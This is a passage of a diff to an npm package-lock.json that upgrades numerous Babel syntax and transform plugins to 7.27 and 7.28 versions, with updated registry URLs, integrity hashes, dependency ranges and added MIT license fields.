+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.27.1.tgz",
+      "integrity": "sha512-p9OkPbZ5G7UT1MofwYFigGebnrzGJacoBSQM0/6bi/PUMVE+qlWDD/OalvQKbwgQzU6dl0xAv6r4X7Jme0RYxA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -748,11 +727,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-import-assertions": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.23.3.tgz",
-      "integrity": "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.27.1.tgz",
+      "integrity": "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -762,11 +742,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-import-attributes": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.23.3.tgz",
-      "integrity": "sha512-pawnE0P9g10xgoP7yKr6CK63K2FMsTE+FZidZO/1PwRdzmAPVs+HS1mAURUsgaoxammTJvULUdIkEK0gOcU2tA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz",
+      "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -779,6 +760,7 @@
       "version": "7.10.4",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
       "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.10.4"
       },
@@ -790,6 +772,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
       "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -798,11 +781,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-jsx": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.23.3.tgz",
-      "integrity": "sha512-EB2MELswq55OHUoRZLGg/zC7QWUKfNLpE57m/S2yr1uEneIgsTgrSzXP3NXEsMkVn76OlaVVnzN+ugObuYGwhg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz",
+      "integrity": "sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -815,6 +799,7 @@
       "version": "7.10.4",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
       "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.10.4"
       },
@@ -826,6 +811,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
       "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -837,6 +823,7 @@
       "version": "7.10.4",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
       "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.10.4"
       },
@@ -848,6 +835,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
       "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -859,6 +847,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
       "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -870,6 +859,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
       "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -881,6 +871,7 @@
       "version": "7.14.5",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
       "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.14.5"
       },
@@ -895,6 +886,7 @@
       "version": "7.14.5",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
       "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.14.5"
       },
@@ -906,11 +898,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-typescript": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.23.3.tgz",
-      "integrity": "sha512-9EiNjVJOMwCO+43TqoTrgQ8jMwcAd0sWyXi9RPfIsLTj4R2MADDDQXELhffaUx/uJv2AYcxBgPwH6j4TIA4ytQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.27.1.tgz",
+      "integrity": "sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -923,6 +916,7 @@
       "version": "7.18.6",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz",
       "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-create-regexp-features-plugin": "^7.18.6",
         "@babel/helper-plugin-utils": "^7.18.6"
@@ -935,11 +929,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-arrow-functions": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.23.3.tgz",
-      "integrity": "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.27.1.tgz",
+      "integrity": "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -949,14 +944,14 @@
       }
     },
     "node_modules/@babel/plugin-transform-async-generator-functions": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.23.9.tgz",
-      "integrity": "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.28.0.tgz",
+      "integrity": "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-remap-async-to-generator": "^7.22.20",
-        "@babel/plugin-syntax-async-generators": "^7.8.4"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-remap-async-to-generator": "^7.27.1",
+        "@babel/traverse": "^7.28.0"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -966,13 +961,14 @@
       }
     },
     "node_modules/@babel/plugin-transform-async-to-generator": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.23.3.tgz",
-      "integrity": "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.27.1.tgz",
+      "integrity": "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-imports": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-remap-async-to-generator": "^7.22.20"
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-remap-async-to-generator": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -982,11 +978,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-block-scoped-functions": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.23.3.tgz",
-      "integrity": "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.27.1.tgz",
+      "integrity": "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -996,11 +993,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-block-scoping": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.23.4.tgz",
-      "integrity": "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.28.0.tgz",
+      "integrity": "sha512-gKKnwjpdx5sER/wl0WN0efUBFzF/56YZO0RJrSYP4CljXnP31ByY7fol89AzomdlLNzI36AvOTmYHsnZTCkq8Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1010,12 +1008,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-class-properties": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.23.3.tgz",
-      "integrity": "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz",
+      "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-class-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1025,13 +1024,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-class-static-block": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.23.4.tgz",
-      "integrity": "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.27.1.tgz",
+      "integrity": "sha512-s734HmYU78MVzZ++joYM+NkJusItbdRcbm+AGRgJCt3iA+yux0QpD9cBVdz3tKyrjVYWRl7j0mHSmv4lhV0aoA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-class-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-class-static-block": "^7.14.5"
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1041,18 +1040,17 @@
       }
     },
     "node_modules/@babel/plugin-transform-classes": {
-      "version": "7.23.8",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.23.8.tgz",
-      "integrity": "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.28.0.tgz",
+      "integrity": "sha512-IjM1IoJNw72AZFlj33Cu8X0q2XK/6AaVC3jQu+cgQ5lThWD5ajnuUAml80dqRmOhmPkTH8uAwnpMu9Rvj0LTRA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-compilation-targets": "^7.23.6",
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-function-name": "^7.23.0",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-replace-supers": "^7.22.20",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "globals": "^11.1.0"
+        "@babel/helper-annotate-as-pure": "^7.27.3",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-globals": "^7.28.0",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-replace-supers": "^7.27.1",
+        "@babel/traverse": "^7.28.0"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1062,12 +1060,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-computed-properties": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.23.3.tgz",
-      "integrity": "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.27.1.tgz",
+      "integrity": "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/template": "^7.22.15"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/template": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1077,11 +1076,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-destructuring": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.23.3.tgz",
-      "integrity": "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.28.0.tgz",
+      "integrity": "sha512-v1nrSMBiKcodhsyJ4Gf+Z0U/yawmJDBOTpEB3mcQY52r9RIyPneGyAS/yM6seP/8I+mWI3elOMtT5dB8GJVs+A==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/traverse": "^7.28.0"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1091,12 +1092,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-dotall-regex": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.23.3.tgz",
-      "integrity": "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.27.1.tgz",
+      "integrity": "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-regexp-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1106,11 +1108,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-duplicate-keys": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.23.3.tgz",
-      "integrity": "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.27.1.tgz",
+      "integrity": "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1119,13 +1122,45 @@
         "@babel/core": "^7.0.0-0"
       }
     },
-    "node_modules/@babel/plugin-transform-dynamic-import": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.23.4.tgz",
-      "integrity": "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ==",
+    "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.27.1.tgz",
+      "integrity": "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-dynamic-import": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.27.1.tgz",
+      "integrity": "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-explicit-resource-management": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-explicit-resource-management/-/plugin-transform-explicit-resource-management-7.28.0.tgz",
+      "integrity": "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/plugin-transform-destructuring": "^7.28.0"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1135,12 +1170,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-exponentiation-operator": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.23.3.tgz",
-      "integrity": "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.27.1.tgz",
+      "integrity": "sha512-uspvXnhHvGKf2r4VVtBpeFnuDWsJLQ6MF6lGJLC89jBR1uoVeqM416AZtTuhTezOfgHicpJQmoD5YUakO/YmXQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1150,12 +1185,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-export-namespace-from": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.23.4.tgz",
-      "integrity": "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.27.1.tgz",
+      "integrity": "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1165,12 +1200,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-flow-strip-types": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.23.3.tgz",
-      "integrity": "sha512-26/pQTf9nQSNVJCrLB1IkHUKyPxR+lMrH2QDPG89+Znu9rAMbtrybdbWeE9bb7gzjmE5iXHEY+e0HUwM6Co93Q==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.27.1.tgz",
+      "integrity": "sha512-G5eDKsu50udECw7DL2AcsysXiQyB7Nfg521t2OAJ4tbfTJ27doHLeF/vlI1NZGlLdbb/v+ibvtL1YBQqYOwJGg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-flow": "^7.23.3"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/plugin-syntax-flow": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1180,12 +1216,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-for-of": {
-      "version": "7.23.6",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.23.6.tgz",
-      "integrity": "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.27.1.tgz",
+      "integrity": "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
